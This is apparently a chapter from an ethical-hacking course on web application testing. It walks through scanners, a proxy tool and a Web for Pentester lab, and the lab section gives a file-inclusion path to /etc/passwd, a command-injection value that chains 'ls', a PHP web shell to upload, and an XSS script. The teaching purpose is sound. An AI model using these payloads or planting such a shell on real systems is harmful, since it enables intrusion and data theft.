12. Hacking Web Applications

Practical 1: Understanding OWASP TOP 10

You need the latest OWASP TOP 10 PDF file or online documentation. Currently latest is OWASP TOP 10 2017. You can visit the following link to access OWASP TOP 10 online:

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Go through the documentation thoroughly.

Practical 2: Web App Vulnerability Assessment using Vega

1. Install Vega web vulnerability assessment tool in Kali Linux by entering following command:

```
apt-get install vega
```

2. Start vega by going to

Applications ==> Web Application Analysis ==> vega

3. Once the vega starts, you can click on “Start New Scan” and enter the website that you wish to scan. Following are few websites which are always free to scan without any legal issues.

scanme.nmap.org

altoromutual.com

testphp.vulnweb.com

testasp.vulnweb.com

testjsp.vulnweb.com

certifiedhacker.com

Practical 3: Web App Vulnerability Assessment using OWASP ZAP

1. Open OWASP ZAP by going to

Applications ==> Web Application Analysis ==> owasp-zap

2. In the field of URL to attack, enter your target domain or website and click on Attack button.

Note: You can use any of URL mentioned in practical 2. Scanning other URL without a proper agreement can lead you to legal trouble.

Practical 4: Web App Firewall Detection using wafw00f

In Kali Linux, open a terminal and enter a command:

```
wafw00f <target domain or website>
```

For example:

```
wafw00f testphp.vulnweb.com
```

```
wafw00f www.altoromutual.com
```

Practical 5: Web App Proxy Tool: BurpSuite

1. Open a burp suite by going to

Applications ==> Web Application Analysis ==> burpsuite

2. Once it starts, you need to configure your Firefox Web Browser accordingly. To configure a browser, go to browser

Preferences ==> Advanced ==> Network ==> Connection ==> Settings

In that click on Manual proxy configuration. In HTTP Proxy field enter IP Address 127.0.0.1 (localhost) and in Port enter 8080. Make sure to check box “Use this proxy server for all protocols” and clear the box that is “No Proxy for”.

3. Once your browser is configured, enter the URL

https://burp

You need to download and install the certificates from there. This is required for the first time when you open BurpSuite to enable https capturing.

4. After that you can browse any website for example www.altoromutual.com and you can notice the request should get captured in burpsuite you need to click on the forward button to get response.

5. In burpsuite you can go to Target tab at top and right click on your target web site and select “Spider this host” to start spidering.

Practical 6: Web App Lab: Web for Pentester

Note: You will have to setup the Web for Pentester lab for this. You can find the required iso file in the courseware provided.

File Inclusion

Example 1: At the end of the URL, where page=intro.php make it page=/etc/passwd and you can notice you get an access to there /etc/passwd file

Command Injection:

Example 1: At the end of URL where we have ip=127.0.0.1 make it ip=127.0.0.1 | ls and you will notice you get list of there files. You can also try some different commands like uname -a, ifconfig etc.

File Upload:

Example1: Create a php file with some code like
<?php system($_GET[‘cmd’]); ?>
Click on Browse and select your file and click on Send file.
You can access your file and send OS commands with GET parameter cmd.

Cross Site Scripting (XSS)

Example 1: At the end of URL try <script>alert(‘Test’)</script>